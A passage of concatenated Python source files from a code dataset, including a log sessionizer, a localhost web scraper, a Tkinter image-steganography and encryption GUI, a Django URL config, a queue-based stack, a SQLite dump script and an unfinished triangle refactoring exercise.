ApplyCoupon.Field()\n coupon_count = CouponCount.Field()\n","sub_path":"coupon/graphql/mutation.py","file_name":"mutation.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264953383","text":"import csv\nimport sys\nfrom pathlib import Path\nimport time\nimport datetime\nimport collections\nimport heapq\nfrom queue import Queue\nfrom datetime import timedelta\n\n'''\nmetadata of the user. Contains current_time, requests, and the IP of the\n user.\n'''\n\nclass UserData:\n total_index = 0\n\n def __init__(self, current_time, requests, ip):\n self.request_index = UserData.total_index + 1\n UserData.total_index = self.request_index\n self.current_time = current_time\n self.end_time = current_time\n self.requests = requests\n self.ip = ip\n\n def __lt__(self, other):\n return self.request_index < other.request_index\n\n'''\ntime conversion to a form that Python can utilize.\n'''\n\ndef convert_time(log_date, log_time):\n f = \"%Y-%m-%d %H:%M:%S\"\n d_str = '{0} {1}'.format(log_date, log_time)\n time = datetime.datetime.strptime(d_str, f)\n return time\n\n\n'''\nAdvance with a window until the window is too big for the users to expire. In each bucket,\ncheck to see if the users in the bucket have the same time as their own data. If they are, print to file.\n'''\ndef advance_session_window(\n time_buckets,\n session_window_start,\n user_info,\n inactivity_time,\n current_time,\n final=False):\n # Go through queue until the time gap is less than the inactivity timer.\n while session_window_start < current_time:\n if session_window_start + timedelta(seconds=inactivity_time) >= current_time:\n return session_window_start\n else:\n if session_window_start in time_buckets:\n print(time_buckets[session_window_start][0],session_window_start)\n while time_buckets[session_window_start][0]:\n ip = heapq.heappop(time_buckets[session_window_start][0])[1]\n # if maximum request one already filtered out.\n if ip not in user_info:\n continue\n if session_window_start == user_info[ip].end_time:\n print(\"deleted in here\")\n print_user_data(user_info[ip], ip)\n del(user_info[ip])\n # save time of session_window_start\n del time_buckets[session_window_start]\n session_window_start = session_window_start + timedelta(seconds=1)\n return session_window_start\n\n'''\noutputs userdata to the file location given.\n'''\n\ndef print_user_data(user_data, ip):\n start_time = user_data.current_time\n end_time = user_data.end_time\n start_time_string = \"{:%Y-%m-%d %H:%M:%S}\".format(start_time)\n end_time_string = \"{:%Y-%m-%d %H:%M:%S}\".format(end_time)\n seconds = int((end_time - start_time).total_seconds() + 1)\n requests = user_data.requests\n return_text = (\n \"{0},{1},{2},{3},{4}\".format(\n ip,\n start_time_string,\n end_time_string,\n seconds,\n requests))\n # print(return_text)\n with open(sys.argv[3], \"a\") as output_file:\n output_file.write(return_text + '\\n')\n output_file.close()\n\n'''\nGo through all the keys in order in the OrderedDict of users and finish\n printing up everything.\n'''\n\ndef finish_printing(user_info):\n deleted_users = []\n for user in user_info.keys():\n print_user_data(user_info[user], user)\n deleted_users += [user]\n for user in deleted_users:\n del(user_info[user])\n\n\ndef process_file():\n user_info = collections.OrderedDict()\n time_buckets = {}\n inactivity_time = None\n session_window_start = None\n logs = 0\n\n with open(sys.argv[3], \"w\") as output_file:\n print(\"clean file\")\n\n with open(sys.argv[2], \"r\") as inactivity_time_file:\n inactivity_time = int(inactivity_time_file.read())\n inactivity_time_file.close()\n\n # iterating through the input file.\n with open(sys.argv[1], \"r\") as input_file:\n reader = csv.DictReader(input_file, delimiter=\",\")\n header = reader.fieldnames\n for i, line in enumerate(reader):\n current_time = convert_time(line['date'], line['time'])\n if session_window_start is None:\n session_window_start = current_time\n # check to see if any files expired.\n session_window_start = advance_session_window(\n time_buckets, session_window_start, user_info, inactivity_time, current_time)\n ip = line['ip']\n if ip not in user_info:\n user_data = UserData(current_time, 0, ip)\n user_info[ip] = user_data\n else:\n user_data = user_info[ip]\n user_data.requests += 1\n user_data.end_time = current_time\n # min heap to make sure files are outputted in start time order.\n\n if current_time not in time_buckets:\n time_buckets[current_time] = ([], set())\n if ip not in time_buckets[current_time][1]:\n heapq.heappush(time_buckets[current_time][0], (user_data.request_index,ip))\n time_buckets[current_time][1].add(ip)\n finish_printing(user_info)\n input_file.close()\n\n\nif __name__ == \"__main__\":\n process_file()\n \n","sub_path":"insight_testsuite/temp/src/sessionization.py","file_name":"sessionization.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154033268","text":"import requests\nfrom bs4 import BeautifulSoup\nimport urllib\n\nresponse = requests.get(\"http://localhost/WEBCRAWL/index.html\")\nresponse.encoding = \"utf-8\"\n\nhtml = response.text\nsoup = BeautifulSoup(html, \"html.parser\")\ntbody = soup.tbody\nprint(tbody.text)\n\n\nobj_tbody = soup.find(\"tbody\")\n\nobjs_td = obj_tbody.select(\"td\")\nfor td in objs_td:\n print(td.text)\n\n\n\nurl = \"http://localhost/WEBCRAWL/index.html\"\nreq = urllib.request.urlopen(url)\nres = req.read()\n \nsoup = BeautifulSoup(res,'html.parser')\nkeywords = soup.find_all('td')\nkeywords = [each_line.get_text().strip() for each_line in keywords[2:3]]\nprint(keywords)","sub_path":"HelloPython/day08/mycrawl02.py","file_name":"mycrawl02.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"608866396","text":"import tkinter as tk\r\nimport tkinter.filedialog\r\nimport tkinter.messagebox\r\nimport cv2\r\nfrom PIL import Image, ImageTk\r\nfrom stegano import lsb,lsbset,red, steganalysis\r\nfrom stegano.lsbset import generators\r\nimport inspect\r\nfrom DCT import DCT\r\n# import ScrollableFrame as sf\r\nimport ntpath\r\n\r\nfrom LSBSteg import LSBSteg\r\nfrom OneTimePad import OneTimePad\r\nimport os\r\nfrom AESCipher import AESCipher\r\nfrom DESCipher import DESCipher\r\nfrom RSACipher import RSACipher\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport csv\r\nimport math\r\n\r\nfrom ButtonDefinitions import analyse_mse, analyse_psnr, mse, psnr, compare_images, analyse_strings\r\n\r\n \r\ncontainer2wt = 0\r\n\r\n\r\n\r\ndef path_leaf(path):\t\r\n head, tail = ntpaht.split(path)\r\n return tail or ntpath.basename(head)\r\n\r\ndef get_file_name(img_path):\r\n return os.path.basename(img_path)\r\n#https://www.hlevkin.com/06testimages.htm\r\ndef exit_app():\r\n print('Exit App')\r\n messagebox = tk.messagebox.askyesno(\"Exit Application\",\"Are you sure you want to exit?\")\r\n print(messagebox)\r\n if (messagebox):\r\n root.quit()\r\n\r\ndef select_image():\r\n print('Select Image')\r\n global image_path\r\n image_path = tk.filedialog.askopenfilename(title=\"Select image\", filetypes=[(\"all files\", '*.*')])\r\n print(image_path)\r\n if (image_path):\r\n root.update_idletasks()\r\n global original_image_label\r\n load = Image.open(image_path)\r\n original_image = ImageTk.PhotoImage(load)\r\n print(type(original_image))\r\n original_image_label.config(image = original_image)\r\n original_image_label.image = original_image\r\n original_image_label.pack(in_=container2, fill=tk.BOTH, expand=True)\r\n\r\ndef displayImage(path):\r\n print(type(path))\r\n # im = Image.fromarray(image)\r\n global processed_image_label\r\n # processed_image = ImageTk.PhotoImage(image=im)\r\n # print(type(processed_image))\r\n load = Image.open(path)\r\n processed_image = ImageTk.PhotoImage(load)\r\n processed_image_label.config(image=processed_image)\r\n processed_image_label.image = processed_image\r\n processed_image_label.pack(in_=container4, fill=tk.BOTH, expand=True)\r\n\r\ndef displaySecret(secret):\r\n clear_processed_image()\r\n global processed_image_label\r\n processed_image_label.config(text=secret)\r\n # processed_image_label.image = processed_image\r\n processed_image_label.pack(in_=container4, fill=tk.BOTH, expand=True)\r\n\r\ndef clear_image():\r\n print('Save Image')\r\n # print(processed_image_label.image)\r\n clear_processed_image()\r\n\r\n\r\ndef saveImage():\r\n print(\"af\")\r\n\r\ndef saveSecretToFile(secret):\r\n print(\"saveSecretToFile\")\r\n f = tk.filedialog.asksaveasfile(mode='w', defaultextension=\".txt\")\r\n if f is None:\r\n return\r\n text2save = str(secret)\r\n f.write(text2save)\r\n f.close()\r\n\r\ndef clear_processed_image():\r\n print(\"clear image\")\r\n processed_image_label.config(image='')\r\n processed_image_label.pack(in_=container4, fill=tk.BOTH, expand=True)\r\n\r\ndef clear_text_description():\r\n print(\"clear image\")\r\n text2.delete('1.0', tk.END)\r\n\r\n# Enter data from secret file into text1\r\ndef select_secret_file():\r\n # global secret_image_path\r\n print(\"Select secret file\")\r\n secret_file = tk.filedialog.askopenfile(title=\"Select file\", filetypes=[(\"All files\", '*.*')])\r\n # print(secret_image_path)\r\n data = secret_file.read()\r\n text1.insert(tk.END, data)\r\n\r\n\r\ndef process():\r\n try:\r\n print('process()')\r\n encrypt_decrypt = options_clicked.get()\r\n algo_technique = technique_options_clicked.get()\r\n encryption_technique = encryption_options_clicked.get()\r\n \r\n # Check for secret data\r\n secret_string = text1.get(\"1.0\",tk.END)\r\n\r\n # check for carrier\r\n try: image_path\r\n except NameError:\r\n tk.messagebox.showwarning(\"Data Required\",\"Please select carrier image to proceed\")\r\n return\r\n # original_image = cv2.imread(image_path)\r\n print(secret_string)\r\n if (algo_technique == technique_options[0]):\r\n # LSB Algorithm\r\n lsbAlgoDefault(encrypt_decrypt, secret_string, encryption_technique)\r\n elif (algo_technique == technique_options[1]):\r\n # stegano plain\r\n lsbAlgoStegano(\"DCT\", secret_string, encrypt_decrypt, encryption_technique)\r\n except NameError as error:\r\n print(error)\r\n\r\ndef is_grey_scale(image_path):\r\n img = Image.open(image_path).convert('RGB')\r\n img1 = img\r\n w,h = img1.size\r\n for i in range(w):\r\n for j in range(h):\r\n r,g,b = img1.getpixel((i,j))\r\n if r != g != b:\r\n return False\r\n return True \r\n\r\ndef compare_strings(original, derived):\r\n if len(original) != len(derived):\r\n return 0.0\r\n\r\n else:\r\n count = 0\r\n for i in range(len(original)):\r\n if original[i] == derived[i]:\r\n count += 1\r\n\r\n return float(count/len(original))\r\n\r\n\r\ndef addtofile(stego_type, enc_type, percentage):\r\n flag = 0\r\n print(\"Add to file\")\r\n with open(\"secret/StringAnalysis.csv\", 'r+') as varfile:\r\n read_object = csv.reader(varfile)\r\n titles = next(read_object)\r\n print(\"1\")\r\n\r\n for row in read_object:\r\n print(\"2\")\r\n if len(row) > 0:\r\n print(row)\r\n print(stego_type, enc_type)\r\n if row[0] == stego_type and row[1] == enc_type:\r\n print(\"Entered\")\r\n if len(row) > 2:\r\n row[2] = ((float(row[2]) + percentage)/2)\r\n flag = 1\r\n\r\n if flag == 0:\r\n write_object = csv.writer(varfile)\r\n write_object.writerow([stego_type, enc_type, percentage])\r\n\r\n\r\ndef lsbAlgoStegano(type, secret_string, encrypt_decrypt, encryption_technique):\r\n if (encrypt_decrypt == options[0]):\r\n if (len(secret_string) == 1):\r\n print(\"Empty Secret:: Showing warning\")\r\n tk.messagebox.showwarning(\"Data Required\", \"Please enter secret data to be encoded\")\r\n return\r\n if (type == \"DCT\"):\r\n if (encrypt_decrypt == options[0]):\r\n file_name = encryption_technique + \"DCT.txt\"\r\n text_file = open(file_name, \"w\")\r\n text_file.write(str(secret_string))\r\n text_file.close\r\n if encryption_technique == \"OTP\":\r\n enc = OneTimePad(secret_string, \"DCT\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"RSA\":\r\n enc = RSACipher(secret_string, \"DCT\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"AES\":\r\n enc = AESCipher(secret_string, \"DCT\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"DES\":\r\n enc = DESCipher(secret_string, \"DCT\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n \r\n outFile = \"secret/secretDCT.png\"\r\n x = DCT(image_path)\r\n secret = x.DCTEn(enc_string, outFile)\r\n print(\"secret :: DCT:: \",secret)\r\n # secret = red.hide(image_path, secret_string)\r\n # secret.save(\"secret.png\")\r\n displayImage(\"secret/secretDCT.png\")\r\n img1 = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)\r\n print(img1.shape)\r\n img2 = cv2.imread(\"secret/secretDCT.png\", cv2.IMREAD_UNCHANGED)\r\n print(img1.shape, img2.shape)\r\n if is_grey_scale(image_path) and len(img2.shape) == 3:\r\n imgA = cv2.cvtColor(img1, cv2.COLOR_BGRA2GRAY)\r\n imgB = cv2.cvtColor(img2, cv2.COLOR_BGRA2GRAY)\r\n else:\r\n imgA = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\r\n imgB = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\r\n compare_images(imgA, imgB, \"DCT\", encryption_technique)\r\n else:\r\n y = DCT(image_path)\r\n secret = y.DCTDe()\r\n # secret = red.reveal(image_path)\r\n print(\"Secret is \", secret)\r\n if encryption_technique == \"OTP\":\r\n dec = OneTimePad(secret, \"DCT\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"RSA\":\r\n dec = RSACipher(secret, \"DCT\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"AES\":\r\n dec = AESCipher(secret, \"DCT\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"DES\":\r\n dec = DESCipher(secret, \"DCT\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n #dec = OneTimePad(secret, \"DCT\")\r\n #secret_message = dec.run(encrypt_decrypt)\r\n filename = encryption_technique + \"DCT.txt\"\r\n key_file = open(filename, \"r\")\r\n original_message = key_file.readline()\r\n key_file.close()\r\n precentage_comparison = compare_strings(original_message, secret_message)\r\n print(\"The strings are equal by\", precentage_comparison,\"parts\")\r\n addtofile(\"DCT\", encryption_technique[:3], precentage_comparison)\r\n displaySecret(secret_message)\r\n saveSecretToFile(secret_message)\r\n\r\n\r\n\r\ndef lsbAlgoDefault(encrypt_decrypt, secret_string, encryption_technique):\r\n # if (algo_technique == technique_options[0]):\r\n # LSB:: Text Steganography\r\n if (encrypt_decrypt == options[0]):\r\n print(\"LSB:::Text::: Encrypt\")\r\n # Warning for secret string\r\n if (len(secret_string) == 1):\r\n print(\"Empty Secret:: Showing warning\")\r\n tk.messagebox.showwarning(\"Data Required\", \"Please enter secret data to be encoded\")\r\n return\r\n # encoding\r\n steg = LSBSteg(cv2.imread(image_path))\r\n file_name = encryption_technique + \"Plain.txt\"\r\n text_file = open(file_name, \"w\")\r\n text_file.write(str(secret_string))\r\n text_file.close()\r\n if encryption_technique == \"OTP\":\r\n enc = OneTimePad(secret_string, \"Plain\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"RSA\":\r\n enc = RSACipher(secret_string, \"Plain\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"AES\":\r\n enc = AESCipher(secret_string, \"Plain\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"DES\":\r\n enc = DESCipher(secret_string, \"Plain\")\r\n enc_string = enc.run(encrypt_decrypt)\r\n \r\n img_encoded = steg.encode_text(enc_string)\r\n cv2.imwrite(\"secret/secret.png\", img_encoded)\r\n displayImage(\"secret/secret.png\")\r\n img1 = cv2.imread(image_path)\r\n img2 = cv2.imread(\"secret/secret.png\")\r\n imgA = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)\r\n imgB = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\r\n compare_images(imgA, imgB, \"LSB\", encryption_technique)\r\n else:\r\n print(\"LSB:::Text::: Decrypt\")\r\n # decoding\r\n print(image_path)\r\n im = cv2.imread(image_path)\r\n steg = LSBSteg(im)\r\n secret = steg.decode_text()\r\n\r\n print(\"Secret is\", secret)\r\n \r\n if encryption_technique == \"OTP\":\r\n dec = OneTimePad(secret, \"Plain\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"RSA\":\r\n dec = RSACipher(secret, \"Plain\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"AES\":\r\n dec = AESCipher(secret, \"Plain\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n elif encryption_technique == \"DES\":\r\n dec = DESCipher(secret, \"Plain\")\r\n secret_message = dec.run(encrypt_decrypt)\r\n\r\n \r\n filename = encryption_technique + \"Plain.txt\"\r\n key_file = open(filename, \"r\")\r\n original_message = key_file.readline()\r\n key_file.close()\r\n precentage_comparison = compare_strings(original_message, secret_message)\r\n print(\"The strings are equal by\", precentage_comparison,\"parts\")\r\n addtofile(\"LSB\", encryption_technique[:3], precentage_comparison)\r\n #dec = OneTimePad(secret, \"Plain\")\r\n #secret_message = dec.run(encrypt_decrypt)\r\n displaySecret(secret_message)\r\n print(\"Text value:\", secret_message)\r\n\r\n\r\ndef technique_callback(*args):\r\n clear_text_description()\r\n all_generators = inspect.getmembers(generators, inspect.isfunction)\r\n option = technique_options_clicked.get()\r\n print(\"technique_callback: \", option)\r\n data = \"\"\r\n if (option == technique_options[0]):\r\n data =\"Technique 1\\nLSB is the lowest bit in a series of numbers in binary. e.g. in the binary number: 10110001, the least significant bit is far right 1.\\n\" \\\r\n \"The LSB based Steganographyis one of the steganographic methods, used to embed the secret data in to the least significant bits of the \" \\\r\n \"pixel values in a cover image. e.g. 240 can be hidden in the first eight bytes of three pixels in a 24 bit image.\"\r\n elif (option == technique_options[1]):\r\n data = \"DCT coefficients are used for JPEG compression. It separates the image into parts of differing importance. \" \\\r\n \"It transforms a signal or image from the spatial domain to the frequency domain. It can separate the image into high, middle and low frequency \" \\\r\n \"components. \\n\" \\\r\n \"Signal energy lies at low frequency in image; it appears in the upper left corner of the DCT. Compression can be achieved since \" \\\r\n \"the lower right values represent higher frequencies, and generally small enough to be neglected with little visible distortion. \" \\\r\n \"DCT is used in steganography as- \\n 1. Image is broken into 8×8 blocks of pixels. \\n 2. Working from left to right, top to bottom, the DCT is applied to each block.\" \\\r\n \" \\n 3. Each \" \\\r\n \"block is compressed through quantization table to scale the DCT coefficients and message is embedded in DCT coefficients.\"\r\n text2.insert(tk.END, data)\r\n print(data)\r\n\r\nroot = tk.Tk()\r\nroot.geometry(\"600x400\")\r\nroot.title(\"Image Cryptography and Steganography\")\r\n\r\ntop = tk.Frame(root, borderwidth=1,relief=\"solid\")\r\ntop1 = tk.Frame(root, borderwidth=1,relief=\"solid\")\r\nbottom1 = tk.Frame(root, borderwidth=1, relief=\"solid\")\r\nbottom = tk.Frame(root, borderwidth=1,relief=\"solid\")\r\nleft = tk.Frame(root, borderwidth=1, relief=\"solid\")\r\nright = tk.Frame(root, borderwidth=1, relief=\"solid\")\r\ncontainer1 = tk.Frame(left, borderwidth=1, relief=\"solid\")\r\ncontainer2 = tk.Frame(left, borderwidth=1, relief=\"solid\")\r\ncontainer3 = tk.Frame(right, borderwidth=1, relief=\"solid\")\r\ncontainer4 = tk.Frame(right, borderwidth=1, relief=\"solid\")\r\n\r\nsecret_label = tk.Label(container1, text=\"Enter secret\")\r\n# original_img_label = tk.Label(container2, text=\"Original Image\")\r\ndescription_label = tk.Label(container3, text=\"Description\")\r\n# processed_img_label = tk.Label(container4, text=\"Processed Image\")\r\n\r\ntop.pack(side=\"top\", expand=False, fill=\"both\")\r\ntop1.pack(side=\"top\", expand=False, fill=\"both\")\r\nbottom1.pack(side=\"bottom\", expand=False, fill=\"both\")\r\nbottom.pack(side=\"bottom\", expand=False, fill=\"both\")\r\nleft.pack(side=\"left\", expand=True, fill=\"both\")\r\nright.pack(side=\"right\", expand=True, fill=\"both\")\r\ncontainer1.pack(expand=False, fill=\"both\", padx=5, pady=5)\r\ncontainer2.pack(expand=False, fill=\"both\", padx=5, pady=5)\r\ncontainer3.pack(expand=False, fill=\"both\", padx=5, pady=5)\r\ncontainer4.pack(expand=False, fill=\"both\", padx=5, pady=5)\r\n\r\ncontainer2wt = container2.winfo_width()\r\n#print(container2wt)\r\noriginal_image_label = tk.Label(root, width=container2wt)\r\nprocessed_image_label = tk.Label(root, width=container2wt)\r\n\r\nsecret_label.pack()\r\n# original_img_label.pack()\r\ndescription_label.pack()\r\n# processed_img_label.pack()\r\n\r\n\r\n# Buttons\r\nselect_img_btn = tk.Button(root,text='Select Image', width=35, command=select_image)\r\nselect_img_btn.pack(in_=top, side=\"left\")\r\n\r\nselect_secret_img_btn = tk.Button(root,text='Select secret file', width=35, command=select_secret_file)\r\nselect_secret_img_btn.pack(in_=top1, side=\"left\")\r\n\r\nclear_btn = tk.Button(root,text='Clear Image', width=35, command=clear_image)\r\nclear_btn.pack(in_=bottom, side=\"left\")\r\n\r\nexit_btn = tk.Button(root,text='Exit App', width=35, command=exit_app)\r\nexit_btn.pack(in_=bottom, side=\"right\")\r\n\r\nprocess_btn = tk.Button(root,text='Process', width=35, command=process)\r\nprocess_btn.pack(in_=top, side=\"right\")\r\n\r\n# Drop down menu\r\noptions = [\r\n \"Encrypt\",\r\n \"Decrypt\"\r\n]\r\ntechnique_options = [\r\n \"LSB Algorithm - Plain\",\r\n \"Discrete Cosine Transform\"\r\n]\r\n\r\nencryption_options = [\r\n \"OTP\",\r\n \"RSA\",\r\n \"AES\",\r\n \"DES\"\r\n]\r\n\r\noptions_clicked = tk.StringVar()\r\noptions_clicked.set(options[0])\r\ntechnique_options_clicked = tk.StringVar()\r\ntechnique_options_clicked.trace(\"w\",technique_callback)\r\ntechnique_options_clicked.set(technique_options[0])\r\nencryption_options_clicked = tk.StringVar()\r\nencryption_options_clicked.set(encryption_options[0])\r\n\r\nimage_name = \"\"\r\n\r\ndrop = tk.OptionMenu(root, options_clicked, *options)\r\ndrop.pack(in_=top, anchor=\"n\", side=\"bottom\")\r\nencryption_drop = tk.OptionMenu(root, encryption_options_clicked, *encryption_options)\r\nencryption_drop.pack(in_=top1, anchor=\"n\", side=\"left\")\r\ntechnique_drop = tk.OptionMenu(root, technique_options_clicked, *technique_options)\r\ntechnique_drop.pack(in_=top1, anchor=\"n\", side=\"bottom\")\r\n\r\n# textbox and scrollbar\r\ntext1 = tk.Text(root, width=35, height=5)\r\ntext2 = tk.Text(root, width=35, height=5)\r\nscrollbar1 = tk.Scrollbar(root)\r\nscrollbar2 = tk.Scrollbar(root)\r\nscrollbar1.config(command=text1.yview)\r\nscrollbar2.config(command=text2.yview)\r\ntext1.config(yscrollcommand=scrollbar1.set)\r\ntext2.config(yscrollcommand=scrollbar2.set)\r\nscrollbar1.pack(in_=container1, side=tk.RIGHT, fill=tk.Y)\r\nscrollbar2.pack(in_=container3, side=tk.RIGHT, fill=tk.Y)\r\ntext1.pack(in_=container1, side=tk.LEFT, fill=tk.BOTH, expand=True)\r\ntext2.pack(in_=container3, side=tk.LEFT, fill=tk.BOTH, expand=True)\r\n\r\n#Analysing Buttons\r\nanalyse_mse_btn = tk.Button(root, text = \"Analyse MSE\", width = 35, command = analyse_mse)\r\nanalyse_mse_btn.pack(in_ = bottom1, side = \"left\")\r\n\r\nanalyse_psnr_btn = tk.Button(root, text = \"Analyse PSNR\", width = 35, command = analyse_psnr)\r\nanalyse_psnr_btn.pack(in_ = bottom1, side = \"right\")\r\n\r\nanalyse_strings = tk.Button(root, text = \"Analyse Strings\", width = 35, command = analyse_strings)\r\nanalyse_strings.pack(in_ = bottom1, side = \"bottom\")\r\n\r\n\r\nall_generators = inspect.getmembers(generators, inspect.isfunction)\r\n#for generator in all_generators:\r\n# print(generator[0], generator[1].__doc__)\r\n\r\nroot.mainloop()\r\n","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":19469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"442283512","text":"from django.conf.urls import patterns, url\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns(\n '',\n url(r'^requests/', 't3_requests.views.requests', name='requests'),\n url(r'^change_priority/', 't3_requests.views.change_priority',\n name='change_priority'),\n)\n","sub_path":"apps/t3_requests/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"327906116","text":"# copy\r\nfrom Queue import Queue \r\nclass MyStack(object): \r\n \r\n def __init__(self): \r\n \"\"\" \r\n Initialize your data structure here. \r\n \"\"\" \r\n #q1作为进栈出栈,q2作为中转站 \r\n self.q1=Queue() \r\n self.q2=Queue() \r\n \r\n def push(self, x): \r\n \"\"\" \r\n Push element x onto stack. \r\n :type x: int \r\n :rtype: void \r\n \"\"\" \r\n self.q1.put(x) \r\n \r\n def pop(self): \r\n \"\"\" \r\n Removes the element on top of the stack and returns that element. \r\n :rtype: int \r\n \"\"\" \r\n while self.q1.qsize()>1: \r\n self.q2.put(self.q1.get())#将q1中除尾元素外的所有元素转到q2中 \r\n if self.q1.qsize()==1: \r\n res=self.q1.get()#弹出q1的最后一个元素 \r\n #while self.q2.qsize>0:#将q2的元素转移到q1中 \r\n #self.q1.put(self.q2.get())#这会出现超出时间显示错误,有实例不通过 \r\n tmp=self.q2#交换q1,q2 \r\n self.q2=self.q1 \r\n self.q1=tmp \r\n return res \r\n \r\n def top(self): \r\n \"\"\" \r\n Get the top element. \r\n :rtype: int \r\n \"\"\" \r\n while self.q1.qsize()>1: \r\n self.q2.put(self.q1.get())#将q1中除尾元素外的所有元素转到q2中 \r\n if self.q1.qsize()==1: \r\n res=self.q1.get()#弹出q1的最后一个元素 \r\n self.q2.put(res)#与pop唯一不同的是需要将q1最后一个元素保存到q2中 \r\n #while self.q2.qsize>0:#将q2的元素转移到q1中 \r\n #self.q1.put(self.q2.get()) \r\n tmp=self.q2#交换q1,q2 \r\n self.q2=self.q1 \r\n self.q1=tmp \r\n return res \r\n \r\n def empty(self): \r\n \"\"\" \r\n Returns whether the stack is empty. \r\n :rtype: bool \r\n \"\"\" \r\n return not bool(self.q1.qsize()+self.q2.qsize())#为空返回True,不为空返回False ","sub_path":"225_MyStack.py","file_name":"225_MyStack.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332385625","text":"import sqlite3\n\nconn = sqlite3.connect('friends.sqlite')\ncur = conn.cursor()\ncur.execute('SELECT * FROM Osoby')\ncount = 0\nprint(\"Osoby:\")\nfor row in cur:\n print(row)\n count = count + 1\nprint(count, 'wierszy.')\ncur.execute('SELECT * FROM Obserwuje')\ncount = 0\nprint(\"\\nObserwuje:\")\nfor row in cur:\n print(row)\n count = count + 1\nprint(count, 'wierszy.')\ncur.close()\n","sub_path":"code3/twdump2.py","file_name":"twdump2.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"161203416","text":"# -*- coding: UTF-8 -*-\n\"\"\"Refactoring.\n\nThis exercise contains a complete and working example, but it's very poorly written.\n\nYour job is to go through it and make it as good as you can.\n\nThat means making it self-documenting wherever possible, adding comments where\nit isn't. Take repeated code and make it into a function. Also use functions\nto encapsulate concepts. If something is done many times, maybe a map or a loop\nis called for. Etc.\n\nSome functions will have directions as external comments, once you think you\nare on top of it, take these comments out. Others won't have comments and\nyou'll need to figure out for yourself what to do.\n\"\"\"\n\n\n# return a list of countdown messages, much like in the bad function above.\n# It should say something different in the last message.\ndef countdown(message, start, stop, completion_message):\n for i in range(start-stop+1,stop-stop,-1):\n print(message + \" \" + str(i))\n print(completion_message)\n\n# TRIANGLES\n\n# This should be a series of functions that are ultimatly used by\n# triangle_master\n# It should eventually return a dictionary of triangle facts. It should\n# optionally print information as a nicely formatted string. Make printing\n# turned off by default but turned on with an optional argument.\n# The stub functions are made for you, and each one is tested, so this should\n# hand hold quite nicely.\ndef calculate_hypotenuse(base, height):\n import math\n hypotenuse = (math.sqrt((base ** 2) + (height ** 2)))\n return hypotenuse\n\ndef calculate_area(base, height):\n area = ((base * height)/2)\n return area\n\ndef calculate_perimeter(base, height):\n perimeter = (base) + (height) + (calculate_hypotenuse(base,height))\n return perimeter\n\ndef calculate_aspect(base, height):\n if base > height:\n return (\"wide\")\n if base < height:\n return (\"tall\")\n else:\n return (\"equal\")\n\n# Make sure you reuse the functions you've already got\n# Don't reinvent the wheel\ndef get_triangle_facts(base, height, units=\"mm\"):\n return {\n \"area\": calculate_area(base, height),\n \"perimeter\": calculate_perimeter(base, height),\n \"height\": height,\n \"base\": base,\n \"hypotenuse\": calculate_hypotenuse(base, height),\n \"aspect\": calculate_aspect(base, height),\n \"units\": units,\n }\n\n\n# this should return a multi line string that looks a bit like this:\n#\n# 15\n# |\n# | |\\\n# |____>| \\ 17.0\n# | \\\n# | \\\n# ------\n# 8\n# This triangle is 60.0mm²\n# It has a perimeter of 40.0mm\n# This is a tall triangle.\n#\n# but with the values and shape that relate to the specific\n# triangle we care about.\ndef tell_me_about_this_right_triangle (facts_dictionary):\n tall = \"\"\"\n {height}\n |\n | |\\\\\n |____>| \\\\ {hypotenuse}\n | \\\\\n | \\\\\n ------\n {base}\"\"\"\n wide = \"\"\"\n {hypotenuse}\n ↓ ∕ |\n ∕ | <-{height}\n ∕ |\n ∕------------|\n {base}\"\"\"\n equal = \"\"\"\n {height}\n |\n | |⋱\n |____>| ⋱ <-{hypotenuse}\n |____⋱\n {base}\"\"\"\n\n pattern = (\n \"This triangle is {area}{units}²\\n\"\n \"It has a perimeter of {perimeter}{units}\\n\"\n \"This is a {aspect} triangle.\\n\"\n )\n\n if facts_dictionary['height'] > facts_dictionary ['base']:\n return tall.format(height=facts_dictionary['height'], base=facts_dictionary ['base'],hypotenuse=facts_dictionary ['hypotenuse'])\n elif facts_dictionary['height'] < facts_dictionary ['base']:\n return wide.format(height=facts_dictionary['height'], base=facts_dictionary ['base'],hypotenuse=facts_dictionary ['hypotenuse'])\n else:\n return 